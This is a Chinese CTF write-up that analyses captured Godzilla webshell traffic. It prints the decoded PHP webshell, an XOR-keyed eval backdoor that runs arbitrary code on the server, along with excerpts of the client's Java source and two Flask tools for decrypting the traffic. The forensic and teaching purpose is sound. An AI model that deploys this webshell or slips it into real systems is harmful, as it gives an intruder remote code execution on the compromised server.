2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析
一、流量分析
题目没有任何提示,附件gzl.pcap
解题
哥斯拉流量
300多KB包很多,没啥经验只能挨个看
回来之后又狠狠得撸了一把哥斯拉流量分析
我这里用的是哥斯拉4.0.1
00X01测试链接
测试链接这里发了两个包,我们进行分析
1、第一个请求包,
哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
<?php// 禁用错误报告和超时限制,避免暴露服务器信息@session_start(); // 开启会话(抑制错误)@set_time_limit(0); // 取消脚本执行时间限制@error_reporting(0); // 关闭所有错误提示
// 自定义加密/解密函数(异或算法)function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; // 循环取密钥字符(密钥长度固定为16) $D[$i] = $D[$i] ^ $c; // 对数据逐字符异或加密/解密 } return $D;}
// 配置参数$pass = 'key'; // 用于接收POST参数的键名$payloadName = 'payload'; // 会话中存储Payload的键名$key = '3c6e0b8a9c15224a'; // 16字节密钥(异或加密)
// 主逻辑:处理客户端请求if (isset($_POST[$pass])) { // 检查是否存在POST参数`key` // 解密客户端数据 $data = encode( base64_decode($_POST[$pass]), // 先Base64解码 $key // 再用异或解密 );
if (isset($_SESSION[$payloadName])) { // 从会话中获取Payload并解密 $payload = encode($_SESSION[$payloadName], $key);
// 避免重复加密(根据关键字判断) if (strpos($payload, 'getBasicsInfo') === false) { $payload = encode($payload, $key); // 二次加密(兼容性处理) }
// 执行Payload(动态代码) eval($payload); // 关键危险点:执行任意代码
// 生成响应数据 echo substr(md5($pass . $key), 0, 16); // 头部MD5校验 echo base64_encode(encode(@run($data), $key)); // 加密执行结果 echo substr(md5($pass . $key), 16); // 尾部MD5校验
} else { // 首次请求:存储Payload到会话 if (strpos($data, 'getBasicsInfo') !== false) { $_SESSION[$payloadName] = encode($data, $key); // 加密后存储 } }}encode 函数使用 异或(XOR)加密,密钥为固定16字节(3c6e0b8a9c15224a)
// XOR加密处理,并构造HTTP请求参数
public byte[] E(byte[] cs) {
int len = cs.length;
// 对每个字节进行循环异或加密
for (int i = 0; i < len; ++i) {
cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
}
// 拼接密码参数和Base64编码后的加密数据
String param = String.format('%s=%s&', this.pass, this.evalContent)
+ this.shell.getSecretKey() + '='
+ URLEncoder.encode(functions.base64EncodeToString(cs));
return param.getBytes();
}
// 数据加密方法(用于发送数据)
@Override
public byte[] encode(byte[] data) {
try {
return this.E(data); // 调用异或加密处理
} catch (Exception e) {
Log.error(e);
return null;
}
}
from flask import Flask, request, render_template_stringimport base64import gzipapp = Flask(__name__)def XOR(D, K):'''改进的XOR解密函数,支持与哥斯拉PHP代码一致的解密逻辑'''result = []for i in range(len(D)):c = K[i + 1 & 15]if not isinstance(D[i], int):d = ord(D[i])else:d = D[i]result.append(d ^ ord(c))return b''.join([i.to_bytes(1, byteorder='big') for i in result])def decrypt_data(encrypted_b64, key_str):'''解密主函数,支持gzip解压'''try:# Base64解码encrypted_data = base64.b64decode(encrypted_b64)# 执行XOR解密decrypted = XOR(encrypted_data, key_str)# 尝试gzip解压try:decompressed = gzip.decompress(decrypted)return decompressedexcept:# 解压失败,返回原始解密数据return decryptedexcept Exception as e:raise Exception(f'解密失败: {str(e)}')# HTML模板(保持不变)HTML_TEMPLATE = '''<!DOCTYPE html><html><head><title>哥斯拉流量解密工具</title><style>body { font-family: Arial, sans-serif; margin: 40px; }.container { max-width: 800px; margin: auto; }.form-group { margin-bottom: 15px; }label { display: block; margin-bottom: 5px; }input, textarea { width: 100%; padding: 8px; }.error { color: red; }.result { white-space: pre-wrap; word-wrap: break-word; }</style></head><body><div class='container'><h2>哥斯拉流量解密工具</h2><form method='POST'><div class='form-group'><label>异或密钥(16字符):</label><input type='text' name='key' required></div><div class='form-group'><label>加密的Base64数据:</label><textarea name='encrypted_data' rows='4' required></textarea></div><input type='submit' value='解密'></form>{% if error %}<div class='error'><strong>错误:</strong> {{ error }}</div>{% endif %}{% if result %}<div class='result'><h3>解密结果:</h3>{{ result }}</div>{% endif %}</div></body></html>'''@app.route('/', methods=['GET', 'POST'])def index():if request.method == 'POST':key_str = request.form.get('key', '')encrypted_b64 = request.form.get('encrypted_data', '')# 校验密钥长度if len(key_str) != 16:return render_template_string(HTML_TEMPLATE, error='密钥必须为16个字符')try:# 解密数据decrypted_data = decrypt_data(encrypted_b64, key_str)# 尝试UTF-8解码,失败则返回十六进制try:result = decrypted_data.decode('utf-8', errors='strict')except UnicodeDecodeError:result = '原始字节(HEX):n' + decrypted_data.hex(' ')return render_template_string(HTML_TEMPLATE, result=result)except Exception as e:return render_template_string(HTML_TEMPLATE, error=str(e))return render_template_string(HTML_TEMPLATE)if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=True)
test()的执行过程为:调用evalFunc函数。该函数将数据POST给shell管理端,并获得管理端的响应。
byte[] result = evalFunc(null, ‘test’, parameter); // 获得管理端的响应
将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。

@Override
public boolean test() {
ReqParameter parameter = new ReqParameter();
byte[] result = this.evalFunc(null, ‘test’, parameter);
String codeString = new String(result);
if (codeString.trim().equals(‘ok’)) {
this.isAlive = true;
return true;
}
Log.error(codeString);
return false;
}
public boolean test() {
ReqParameter parameter = new ReqParameter();
byte[] result = this.evalFunc(null, ‘test’, parameter);
String codeString = new String(result);
if (codeString.trim().equals(‘ok’)) {
this.isAlive = true;
return true;
}
Log.error(codeString);
return false;
}
@Override
public void init(ShellEntity context) {
this.shell = context;
this.http = this.shell.getHttp();
this.key = this.shell.getSecretKeyX().getBytes(); // 获取异或密钥
this.pass = this.shell.getPassword(); // 获取请求密码参数名
// 生成响应数据分割标记(MD5哈希分割)
String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
this.findStrLeft = findStrMd5.substring(0, 16);
this.findStrRight = findStrMd5.substring(16);
this.evalContent = this.generateEvalContent(); // 生成动态eval代码
// 从响应内容中提取加密数据(位于左右标记之间)
public String findStr(byte[] respResult) {
String htmlString = new String(respResult);
return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);
}
public String findStr(byte[] respResult) {
String htmlString = new String(respResult);
return functions.subMiddleStr(htmlString, this.findStrLeft, this.findStrRight);
}
@Override
public byte[] evalFunc(String className, String funcName, ReqParameter parameter) {
this.fillParameter(className, funcName, parameter);
byte[] data = parameter.formatEx();
if (this.gzipDecodeMagic == 1) {
data = functions.gzipE(data);
}
byte[] result = this.http.sendHttpResponse(data).getResult();
if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) {
result = functions.gzipD(result);
}
return result;
}
from flask import Flask, request, render_template_stringimport base64import gzipfrom urllib.parse import unquote_plus
app = Flask(__name__)
def XOR(D: bytes, K: str) -> bytes: '''标准XOR解密函数(哥斯拉协议逻辑)''' result = bytearray() for i in range(len(D)): key_index = (i + 1) & 15 # 密钥循环索引(16字节固定长度) result.append(D[i] ^ ord(K[key_index])) return bytes(result)
def decrypt_data(encrypted_b64: str, key: str, is_response: bool = False) -> bytes: ''' 解密主函数(支持请求包自动URL解码和响应包去前后16字符) ''' # 1. 请求包自动URL解码 if not is_response: encrypted_b64 = unquote_plus(encrypted_b64)
# 2. 响应包特殊处理:去除前后各16个字符 if is_response: if len(encrypted_b64) < 32: raise ValueError('响应包Base64数据长度不足32字符,无法去除前后16字符') encrypted_b64 = encrypted_b64[16:-16]
# 3. Base64解码 try: encrypted_bytes = base64.b64decode(encrypted_b64) except Exception as e: raise ValueError(f'Base64解码失败: {str(e)}')
# 4. 异或解密 decrypted_bytes = XOR(encrypted_bytes, key)
# 5. 尝试gzip解压 try: return gzip.decompress(decrypted_bytes) except gzip.BadGzipFile: return decrypted_bytes # 非压缩数据直接返回
# HTML模板(增强说明信息)HTML_TEMPLATE = '''<!DOCTYPE html><html><head> <title>哥斯拉流量解密工具</title> <style> body { font-family: 'Courier New', monospace; margin: 20px; } .container { max-width: 1000px; margin: auto; } .form-group { margin-bottom: 20px; } .input-group { display: flex; gap: 15px; } textarea { height: 120px; flex-grow: 1; } .result { background: #f5f5f5; padding: 15px; border-radius: 8px; white-space: pre-wrap; } .hint { color: #666; font-size: 0.9em; margin-top: 5px; } </style></head><body> <div class='container'> <h2>哥斯拉流量解密工具</h2> <form method='POST'> <div class='input-group'> <div class='form-group'> <label>异或密钥(16字符):</label> <input type='text' name='key' required style='width: 200px;'> </div> <div class='form-group'> <label>数据包类型:</label> <select name='packet_type'> <option value='request'>请求包(自动URL解码)</option> <option value='response'>响应包(去前后16字符)</option> </select> </div> </div> <div class='form-group'> <label>加密的Base64数据:</label> <textarea name='encrypted_data' required></textarea> <div class='hint'> <strong>请求包</strong>: 需包含完整URL编码的Base64数据<br> <strong>响应包</strong>: 需包含完整的Base64数据(前后包含填充字符) </div> </div> <button type='submit'>执行解密</button> </form>
{% if error %} <div style='color: red; margin: 15px 0;'>❌ {{ error }}</div> {% endif %}
{% if result %} <div class='result'> <h3>解密结果:</h3> <pre>{{ result }}</pre> </div> {% endif %} </div></body></html>'''
@app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'POST': key = request.form.get('key', '').strip() encrypted_b64 = request.form.get('encrypted_data', '').strip() packet_type = request.form.get('packet_type', 'request')
# 密钥长度校验 if len(key) != 16: return render_template_string(HTML_TEMPLATE, error='密钥必须为<strong>16个字符</strong>')
try: # 处理数据包类型 is_response = (packet_type == 'response')
# 执行解密 decrypted_result = decrypt_data(encrypted_b64, key, is_response)
# 转换为可读格式 try: result_text = decrypted_result.decode('utf-8', errors='replace') except Exception: result_text = f'原始字节(HEX):n{decrypted_result.hex(' ')}'
return render_template_string(HTML_TEMPLATE, result=result_text)
except Exception as e: return render_template_string(HTML_TEMPLATE, error=str(e))
return render_template_string(HTML_TEMPLATE)
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)